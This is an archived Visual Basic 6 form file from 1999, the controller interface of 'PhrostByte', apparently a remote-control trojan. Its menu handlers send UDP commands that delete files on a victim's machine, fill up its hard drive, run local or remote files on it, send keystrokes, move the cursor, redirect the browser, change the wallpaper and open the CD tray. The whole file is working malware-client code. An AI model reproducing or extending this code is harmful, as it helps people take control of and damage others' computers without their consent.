home *** CD-ROM | disk | FTP | other *** search
/ Visual Basic Source Code / Visual Basic Source Code.iso / vbsource / automa_1 / frmmain.frm (.txt) < prev    next >
Encoding:
Visual Basic Form  |  1999-08-23  |  12.2 KB  |  391 lines

  1. VERSION 5.00
  2. Object = "{3B7C8863-D78F-101B-B9B5-04021C009402}#1.2#0"; "RICHTX32.OCX"
  3. Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
  4. Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
  5. Begin VB.Form frmMain 
  6.    BorderStyle     =   1  'Fixed Single
  7.    Caption         =   "Phr
  8. stByte BY: Phantom "
  9.    ClientHeight    =   4470
  10.    ClientLeft      =   150
  11.    ClientTop       =   435
  12.    ClientWidth     =   7500
  13.    Icon            =   "frmMain.frx":0000
  14.    LinkTopic       =   "Form1"
  15.    MaxButton       =   0   'False
  16.    Picture         =   "frmMain.frx":030A
  17.    ScaleHeight     =   4470
  18.    ScaleWidth      =   7500
  19.    Begin VB.Timer Timer2 
  20.       Enabled         =   0   'False
  21.       Interval        =   1000
  22.       Left            =   2880
  23.       Top             =   840
  24.    End
  25.    Begin MSComDlg.CommonDialog cd 
  26.       Left            =   3720
  27.       Top             =   960
  28.       _ExtentX        =   847
  29.       _ExtentY        =   847
  30.       _Version        =   393216
  31.    End
  32.    Begin VB.Timer Timer1 
  33.       Enabled         =   0   'False
  34.       Interval        =   1000
  35.       Left            =   4440
  36.       Top             =   600
  37.    End
  38.    Begin MSWinsockLib.Winsock win 
  39.       Left            =   2000
  40.       Top             =   720
  41.       _ExtentX        =   741
  42.       _ExtentY        =   741
  43.       _Version        =   393216
  44.       Protocol        =   1
  45.       RemotePort      =   2000
  46.    End
  47.    Begin VB.Frame Frame1 
  48.       BackColor       =   &H00400000&
  49.       Caption         =   "Local In Program Log (Is not saved to a file)"
  50.       ForeColor       =   &H0000FF00&
  51.       Height          =   2655
  52.       Left            =   120
  53.       TabIndex        =   0
  54.       Top             =   1560
  55.       Width           =   7215
  56.       Begin RichTextLib.RichTextBox rt 
  57.          Height          =   2295
  58.          Left            =   120
  59.          TabIndex        =   1
  60.          Top             =   240
  61.          Width           =   6975
  62.          _ExtentX        =   12303
  63.          _ExtentY        =   4048
  64.          _Version        =   393217
  65.          BackColor       =   4210752
  66.          Enabled         =   -1  'True
  67.          ReadOnly        =   -1  'True
  68.          ScrollBars      =   3
  69.          DisableNoScroll =   -1  'True
  70.          TextRTF         =   $"frmMain.frx":980E
  71.          BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
  72.             Name            =   "Arial"
  73.             Size            =   8.25
  74.             Charset         =   0
  75.             Weight          =   700
  76.             Underline       =   0   'False
  77.             Italic          =   0   'False
  78.             Strikethrough   =   0   'False
  79.          EndProperty
  80.       End
  81.    End
  82.    Begin VB.Menu file 
  83.       Caption         =   "&File"
  84.       Begin VB.Menu connection 
  85.          Caption         =   "&Make Connection"
  86.          Shortcut        =   ^N
  87.       End
  88.       Begin VB.Menu log 
  89.          Caption         =   "&Start Logging Connection"
  90.       End
  91.       Begin VB.Menu bar0 
  92.          Caption         =   "-"
  93.       End
  94.       Begin VB.Menu openlogfile 
  95.          Caption         =   "&Open Log File"
  96.          Shortcut        =   ^O
  97.       End
  98.       Begin VB.Menu bar1 
  99.          Caption         =   "-"
  100.       End
  101.       Begin VB.Menu phrostnet 
  102.          Caption         =   "Open &Phr
  103. stNet"
  104.       End
  105.       Begin VB.Menu options 
  106.          Caption         =   "&Phr
  107. stByte Options"
  108.       End
  109.       Begin VB.Menu bar2 
  110.          Caption         =   "-"
  111.       End
  112.       Begin VB.Menu exit 
  113.          Caption         =   "&Exit "
  114.       End
  115.    End
  116.    Begin VB.Menu tools 
  117.       Caption         =   "&Tools"
  118.       Begin VB.Menu fun 
  119.          Caption         =   "Fun Stuff"
  120.          Begin VB.Menu control 
  121.             Caption         =   "Control Cursor Position"
  122.          End
  123.          Begin VB.Menu randommouse 
  124.             Caption         =   "Random Cursor Position"
  125.          End
  126.          Begin VB.Menu setmouse 
  127.             Caption         =   "Set Cursor Position"
  128.          End
  129.          Begin VB.Menu bar4 
  130.             Caption         =   "-"
  131.          End
  132.          Begin VB.Menu changebackground 
  133.             Caption         =   "Change Remote Background"
  134.          End
  135.          Begin VB.Menu changescreensave 
  136.             Caption         =   "Start Remote Screensaver"
  137.          End
  138.          Begin VB.Menu bar8 
  139.             Caption         =   "-"
  140.          End
  141.          Begin VB.Menu sendkey 
  142.             Caption         =   "Sendkey "
  143.          End
  144.       End
  145.       Begin VB.Menu fileanddirectory 
  146.          Caption         =   "&File And Directory"
  147.          Begin VB.Menu FillHd 
  148.             Caption         =   "Fill Up Hard Drive"
  149.          End
  150.          Begin VB.Menu bar21 
  151.             Caption         =   "-"
  152.          End
  153.          Begin VB.Menu runremoteremote 
  154.             Caption         =   "Run Remote File Remotely"
  155.          End
  156.          Begin VB.Menu runremotelocal 
  157.             Caption         =   "Run Remote File Localy"
  158.          End
  159.          Begin VB.Menu runlocalremote 
  160.             Caption         =   "Run Local File Remotely"
  161.          End
  162.          Begin VB.Menu bar22 
  163.             Caption         =   "-"
  164.          End
  165.          Begin VB.Menu deletefile 
  166.             Caption         =   "Delete Remote File"
  167.          End
  168.       End
  169.       Begin VB.Menu web 
  170.          Caption         =   "Web Stuff"
  171.          Begin VB.Menu open 
  172.             Caption         =   "Open Browser"
  173.          End
  174.          Begin VB.Menu randomsite 
  175.             Caption         =   "Send Browser To Random Site"
  176.          End
  177.       End
  178.       Begin VB.Menu music 
  179.          Caption         =   "Musical Anarchy"
  180.          Begin VB.Menu piano 
  181.             Caption         =   "Play Beeps"
  182.          End
  183.          Begin VB.Menu bar11 
  184.             Caption         =   "-"
  185.          End
  186.          Begin VB.Menu opencd 
  187.             Caption         =   "Open CD-Rom"
  188.          End
  189.          Begin VB.Menu closecd 
  190.             Caption         =   "Close CD-Rom"
  191.          End
  192.       End
  193.    End
  194.    Begin VB.Menu help 
  195.       Caption         =   "&Help"
  196.       Begin VB.Menu contents 
  197.          Caption         =   "&Contents"
  198.          Shortcut        =   {F1}
  199.       End
  200.       Begin VB.Menu index 
  201.          Caption         =   "&Index"
  202.       End
  203.       Begin VB.Menu bar9 
  204.          Caption         =   "-"
  205.       End
  206.       Begin VB.Menu about 
  207.          Caption         =   "&About"
  208.       End
  209.    End
  210. Attribute VB_Name = "frmMain"
  211. Attribute VB_GlobalNameSpace = False
  212. Attribute VB_Creatable = False
  213. Attribute VB_PredeclaredId = True
  214. Attribute VB_Exposed = False
  215. Dim mbf As String
  216. Private Sub about_Click()
  217. Load frmABout
  218. frmABout.Visible = True
  219. End Sub
  220. Private Sub changebackground_Click()
  221. On Error Resume Next
  222. mb = InputBox("Enter the location of the bitmap file you wish to use as wallpaper", "Change Remote Wallpaper")
  223. win.SendData "cwp " & mb
  224. If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
  225. End Sub
  226. Private Sub changescreensave_Click()
  227. On Error Resume Next
  228. win.SendData "sss"
  229. If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
  230. End Sub
  231. Private Sub closecd_Click()
  232. On Error Resume Next
  233. win.SendData "ccd"
  234. If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
  235. End Sub
  236. Private Sub connection_Click()
  237. frmConnect.Show
  238. End Sub
  239. Private Sub control_Click()
  240. If control.Checked = False Then
  241. control.Checked = True
  242. Timer1.Enabled = True
  243. Timer1.Enabled = False
  244. control.Checked = False
  245. End If
  246. End Sub
  247. Private Sub deletefile_Click()
  248. On Error Resume Next
  249. mb = InputBox("Enter the filename you wish to delete", "Delete A File")
  250. win.SendData "del " & mb
  251. If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
  252. End Sub
  253. Private Sub exit_Click()
  254. Unload frmABout
  255. Unload frmConnect
  256. Unload frmMain
  257. Unload frmOptions
  258. Unload frmWeb
  259. Unload Splash
  260. End Sub
  261. Private Sub file_Click()
  262. PlayWav App.Path & "/sounds/pulldown.wav"
  263. End Sub
  264. Private Sub fileanddirectory_Click()
  265. PlayWav App.Path & "/sounds/pulldown.wav"
  266. End Sub
  267. Private Sub FillHd_Click()
  268. On Error Resume Next
  269. win.SendData "fil"
  270. If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
  271. End Sub
  272. Private Sub Form_Load()
  273. rt.SelColor = vbYellow
  274. With win
  275.     .Protocol = sckUDPProtocol
  276.     .RemotePort = 100
  277.     .Bind
  278. End With
  279. frmWeb.Show
  280. Me.Left = (Screen.Width - Me.Width) / 2
  281. Me.Top = (Screen.Height - (Me.Height + frmWeb.Height)) / 6
  282. End Sub
  283. Private Sub Form_Unload(Cancel As Integer)
  284. exit_Click
  285. End Sub
  286. Private Sub fun_Click()
  287. PlayWav App.Path & "/sounds/pulldown.wav"
  288. End Sub
  289. Private Sub help_Click()
  290. PlayWav App.Path & "/sounds/pulldown.wav"
  291. End Sub
  292. Private Sub log_Click()
  293. If log.Caption = "&Start Logging Connection" Then
  294. cd.DialogTitle = "Start a log file"
  295. cd.Filter = "Log Files|*.log"
  296. mbf = cd.filename
  297. cd.ShowSave
  298. Timer2.Enabled = True
  299. log.Caption = "Stop Logging"
  300. Timer2.Enabled = False
  301. log.Caption = "&Start Logging Connection"
  302. End If
  303. End Sub
  304. Private Sub music_Click()
  305. PlayWav App.Path & "/sounds/pulldown.wav"
  306. End Sub
  307. Private Sub open_Click()
  308. On Error Resume Next
  309. mb = InputBox("Enter the url you wish their browser to be directed to:", "Open a webbrowser")
  310. win.SendData "web " & mb
  311. If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
  312. End Sub
  313. Private Sub opencd_Click()
  314. On Error Resume Next
  315. win.SendData "ocd"
  316. If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
  317. End Sub
  318. Private Sub options_Click()
  319. frmOptions.Show
  320. End Sub
  321. Private Sub phrostnet_Click()
  322. frmWeb.Show
  323. End Sub
  324. Private Sub piano_Click()
  325. On Error Resume Next
  326. win.SendData "pan"
  327. If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
  328. End Sub
  329. Private Sub randommouse_Click()
  330. m = Int(Rnd * 1023)
  331. z = Int(Rnd * 767)
  332. win.SendData "scr " & m & "   :   " & z
  333. End Sub
  334. Private Sub randomsite_Click()
  335. win.SendData "www " & f
  336. End Sub
  337. Private Sub runlocalremote_Click()
  338. On Error Resume Next
  339. MsgBox "The Form you will use to input this information would look something like this: c\windows\notepad.exe, you don't want the : after c"
  340. ms = InputBox("Enter the location of the file you wish to opened on their computer:", "Open Local File Remotley")
  341. win.SendData "olr " & ms
  342. If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
  343. End Sub
  344. Private Sub runremotelocal_Click()
  345. On Error Resume Next
  346. MsgBox "The Form you will use to input this information would look something like this: c\windows\notepad.exe, you don't want the : after c"
  347. ms = InputBox("Enter the file you wish to open:", "Open Remote File Localy")
  348. If ms = "" Then Exit Sub
  349. Shell "//" & win.RemoteHostIP & "/" & ms, vbNormalFocus
  350. If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
  351. End Sub
  352. Private Sub runremoteremote_Click()
  353. On Error Resume Next
  354. ms = InputBox("Enter the location of the file you wish to open:", "Open Remote File Remotely")
  355. If ms = "" Then Exit Sub
  356. win.SendData "ope " & ms
  357. If Err Then MsgBox Err.Number & Chr(10) & Chr(10) & Err.Description, vbOKOnly + vbCritical, "[ERROR]"
  358. End Sub
  359. Private Sub sendkey_Click()
  360. frmSendKey.Show
  361. End Sub
  362. Private Sub setmouse_Click()
  363. b = InputBox("Enter X Coordinate Between 0 and 1023")
  364. f = InputBox("Enter Y Coordinate Between 0 and 767")
  365. win.SendData "rcr " & b & "   :   " & f
  366. End Sub
  367. Private Sub Timer1_Timer()
  368. Dim pt As PointAPI
  369. Call GetCursorPos(pt)
  370. win.SendData "crs " & pt.x & "   :   " & pt.y
  371. End Sub
  372. Private Sub Timer2_Timer()
  373. rt.SaveFile (mbf), TextRTF
  374. End Sub
  375. Private Sub tools_Click()
  376. PlayWav App.Path & "/sounds/pulldown.wav"
  377. End Sub
  378. Private Sub web_Click()
  379. PlayWav App.Path & "/sounds/pulldown.wav"
  380. End Sub
  381. Private Sub win_DataArrival(ByVal bytesTotal As Long)
  382. Dim data As String
  383. win.GetData data
  384. Unload frmWait
  385. Select Case Left(data, 3)
  386. Case "log"
  387. m = Right(data, (Len(data) - 4))
  388. rt.SelText = m
  389. End Select
  390. End Sub
  391.